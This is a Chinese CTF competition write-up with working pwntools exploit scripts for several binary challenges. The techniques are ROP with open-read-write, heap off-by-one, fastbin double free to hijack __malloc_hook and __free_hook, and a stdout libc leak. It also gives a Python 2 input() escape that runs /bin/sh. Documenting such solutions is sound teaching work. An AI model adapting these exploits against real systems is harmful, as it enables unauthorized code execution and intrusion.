前言

PWN终于不是背锅了(流泪)。题目感觉有点ez,不过做出来的4道题PWN都是要概率的,这就很看脸了,全程脸黑的我每个脚本都打了二三十遍才拿到flag。

misc

ctf_game

打开压缩包,直接文本打开文件即可看到flag。

PWN

wow

思路

与2020 RCTF的bf类似,缓冲区紧接着的指令指针存在off by one,可以控制该指针在栈上任意输入。

劫持返回地址构造rop,并将指令指针还原回去(存在check)。

因为禁用了execute系统调用,所以需要通过ORW方式获取flag。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from pwn import *
context.log_level = 'debug'
p = process("./wow")
p = remote("101.200.53.148","15324")

pop_rdi=0x00000000004047ba
pop_rsi=0x0000000000407578
pop_rdx=0x000000000040437f
pop_rbp=0x0000000000404c41
pop_rax_rdx_rbx=0x000000000053048a
mov_rdi_rax = 0x000000000041768f
syscall = 0x00000000004dc054
read = 0x52A670
bss = 0x5d3520
puts = 0x4D47B4

rop = p64(0)*2
rop += p64(pop_rdi)
rop += p64(bss)
rop += p64(pop_rax_rdx_rbx)
rop += '/flag'+'\x00'*3
rop += p64(bss)
rop += p64(bss)
rop += p64(mov_rdi_rax)
rop += p64(pop_rax_rdx_rbx)
rop += p64(0x2)
rop += p64(0)
rop += p64(bss)
rop += p64(pop_rsi)
rop += p64(0)
rop += p64(syscall)#open
rop += p64(pop_rdi)
rop += p64(3)
rop += p64(pop_rsi)
rop += p64(bss+0x100)
rop += p64(pop_rax_rdx_rbx)
rop += p64(0)
rop += p64(0x100)
rop += p64(bss)
rop += p64(syscall)#read
rop += p64(pop_rdi)
rop += p64(bss+0x100)
rop += p64(puts)#puts
rop += "^{@^}$".ljust(8,'\x00')

p.recvuntil("enter your code:")
p.sendline("^{@^}&")
p.recvuntil("running....\n")
byte = u32(p.recv(1)+'\x00'*3) -1
p.recvuntil("continue?")
p.send('Y')

p.recvuntil("enter your code:")
p.sendline("^{@^}$")
p.recvuntil("running....\n")
p.send(p64(byte+0x48)[0])
p.recvuntil("continue?")
p.send('Y')

p.recvuntil("enter your code:")
p.send(rop+'\n')
p.recvuntil("running....\n")
#gdb.attach(p,'b *0x00000000004dc054')
p.send(p64(byte)[0])
p.recvuntil("continue?")
p.send('n')

p.interactive()

easybox

思路

存在off by one漏洞,利用漏洞可以实现chunk extend,得到两个指向同一地址的指针。然后利用堆错位来伪造size位等,实现将同一个地址先后free进fastbin和unsortbin,进而利用main_arean劫持stdout结构(1/16概率),使用io_leak的方法获取到libc地址。

接着用fastbin的double free漏洞劫持__malloc_hook,从而getshell。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
from pwn import *
#context.log_level = 'debug'
def exp():
#p = process("./pwn")
p = remote("101.200.53.148","34521")
libc = ELF("./pwn").libc
def add(idx,size,data):
p.recvuntil(">>>")
p.sendline("1")
p.recvuntil("idx:")
p.sendline(str(idx))
p.recvuntil("len:")
p.sendline(str(size))
p.recvuntil("content:")
p.send(data)
def free(idx):
p.recvuntil(">>>")
p.sendline("2")
p.recvuntil("idx:")
p.sendline(str(idx))

#one = [0x45216,0x4526a,0xf02a4,0xf1147]
one = [0x45226,0x4527a,0xf0364,0xf1207]

add(0,0xf8,'a'*0xf8)
add(1,0xf8,'a'*0xf8)
add(2,0xf8,'a'*0xf8)
add(3,0xf8,'a'*0xf8)
free(2)
add(2,0xf8,'a'*0xf0+p64(0x300)+'\x00')
free(0)
free(3)

add(0,0xe8,'a'*0xe8)
add(4,0xf8,p64(0)+p64(0x71)+'a'*0x68+p64(0x81))
free(4)
free(0)
free(1)
add(0,0xf8,'a')
add(5,0xf8,'a')
add(6,0xf8,'a')
free(5)
add(7,0xf8,'\xdd\x25')
free(0)
free(7)
add(0,0xe8,'a'*0xe8)
add(8,0xf8,p64(0)+p64(0x71))


add(7,0x68,'a')
add(9,0x68,'\x00'*3+p64(0)*6+p64(0xfbad1800)+p64(0)*3+'\x00')

p.recvuntil(p64(0xfbad1800))
p.recv(32)
libc.address = u64(p.recv(6)+'\x00\x00') -0x3C56A3
print hex(libc.address)

free(8)
free(0)
free(6)

add(0xa,0xf8,'a')
add(0xb,0xe8,'a')
add(0xc,0xf8,p64(0)+p64(0x71)+'a'*0x68+p64(0x81))
add(0xd,0xe8,'a')
free(2)
free(0xc)
add(0xc,0xf8,p64(0)+p64(0x71)+p64(libc.sym['__malloc_hook']-0x23))
add(1,0x68,'a')
add(2,0x68,'\x00'*0xb+p64(libc.sym['realloc']+6)+p64(libc.address+one[3]))
#gdb.attach(p,'b malloc')
p.recvuntil(">>>")
p.sendline("1")
p.recvuntil("idx:")
p.sendline('3')
p.recvuntil("len:")
p.sendline(str(0x48))
p.interactive()
#exp()
while(1):
try:
exp()
except:
print 'fail'

maj

思路

存在大量混淆,可以直接忽略。

free时未清空堆指针,从而可以利用堆错位来伪造size位等,实现将同一个地址先后free进fastbin和unsortbin,进而利用main_arean劫持stdout结构(1/16概率),使用io_leak的方法获取到libc地址。

并且因为没有开启pie,因而可以劫持堆指针。

构造一个堆指针指向__free_hook,将其改为system,从而实现getshell。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from pwn import *
#p = process("./pwn")
libc = ELF("./pwn").libc
context.log_level = 'debug'
def exp():
p = remote("101.200.53.148" ,"15423")
def add(size,data):
p.recvuntil(">> ")
p.sendline("1")
p.recvuntil("please answer the question")
p.sendline("82")
p.recvuntil("you are right")
p.sendline(str(size))
p.recvuntil("start_the_game,yes_or_no?")
p.send(data)
def free(idx):
p.recvuntil(">> ")
p.sendline("2")
p.recvuntil("index ?")
p.sendline(str(idx))
def edit(idx,data):
p.recvuntil(">> ")
p.sendline("4")
p.recvuntil("index ?")
p.sendline(str(idx))
p.recvuntil("__new_content ?")
p.send(data)
add(0x68,'aaa')#0
add(0x68,'aaa')#1
add(0x7f,'aaa')#2
free(0)
edit(0,p64(0x603260))
add(0x68,'aaa')#3
add(0x68,'aaa')#4
edit(4,p32(0xff)*24)
edit(4,p32(0xff)*28+p64(0x6032e0))
edit(0,p64(0x6032e0)+p64(0x603260))
add(0x88,'a'*0x48+p64(0x21))#5
edit(5,'a'*0x68+p64(0x21))
add(0x18,'aaa')#6
add(0x68,'aaa')#7
edit(0,p64(0x6032e0)+p64(0x603260)+p64(0)*3+'\x70')
edit(5,p64(0)+p64(0x71))
edit(0,p64(0x6032e0)+p64(0x603260)+p64(0)*3+'\x80')
free(5)
edit(0,p64(0x6032e0)+p64(0x603260)+p64(0)*3+'\x70')
edit(5,p64(0)+p64(0x91))
edit(0,p64(0x6032e0)+p64(0x603260)+p64(0)*3+'\x80')
free(5)
edit(5,'\xdd\x25')
edit(0,p64(0x6032e0)+p64(0x603260)+p64(0)*3+'\x70')
edit(5,p64(0)+p64(0x71))
add(0x68,'aaa')#2
add(0x68,'aaa')#3
edit(3,'\x00'*3+p64(0)*6+p64(0xfbad1800)+p64(0)*3+'\x00')
p.recvuntil(p64(0xfbad1800))
p.recv(32)
libc.address = u64(p.recv(6)+'\x00\x00') -0x3C56A3
print hex(libc.address)
edit(0,p64(0x6032e0)+p64(0x603260)+p64(libc.sym['__free_hook']))
edit(2,p64(libc.sym['system']))
#gdb.attach(p)
edit(6,'/bin/sh')
free(6)
p.interactive()
while(1):
try:
exp()
except:
print 'fail'

nofree

strdup存在00截断,因而可以溢出堆块。通过构造使top chunk进入0x70的fastbin中,从而控制堆指针,达到任意写。

这里采用爆破第4位(概率为1/16)的方式将read改为onegadget,从而getshell。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *
context.log_level = 'debug'
def exp():
#p = process("./pwn")
p = remote("101.200.53.148","12301")
def add(idx,size,data):
p.recvuntil("choice>> ")
p.sendline("1")
p.recvuntil("idx: ")
p.sendline(str(idx))
p.recvuntil("size: ")
p.sendline(str(size))
p.recvuntil("content: ")
p.send(data)
def edit(idx,data):
p.recvuntil("choice>> ")
p.sendline("2")
p.recvuntil("idx: ")
p.sendline(str(idx))
p.recvuntil("content: ")
p.send(data)
one = [0x45226,0x4527a,0xf0364,0xf1207]
add(0,0x90,'a')
edit(0,"a"*0x10+p64(0)+p64(0x0fe1))
for i in range(0x18):
add(0,0x90,"a"*0x90)
add(0,0x71,"a"*0x40)
add(2,0x90,"a"*0x90)
edit(0,'a'*0x40+p64(0)+p64(0x71)+p64(0x6021c0))
add(1,0x71,"a"*0x60)
add(1,0x71,"a"*0x60)
edit(1,p64(0x6021c0)+p64(0xfffff))
edit(1,p64(0x6021c0)+p64(0xfffff))
#0->heap_ptr
edit(0,p64(0x6021c0)+p64(0xfffff)+p64(0x0602048)+p64(0xffff))
edit(1,'\x64\x03')
#gdb.attach(p,'b *0x400934')
p.interactive()
#exp()
while(1):
try:
exp()
except:
print 'fail'

babyjsc

这道题纠结了好久,一直不会,比赛后找大佬问了才知道是python2的input()存在问题,可以直接逃逸。输入__import__('os').system('/bin/sh')即可getshell了。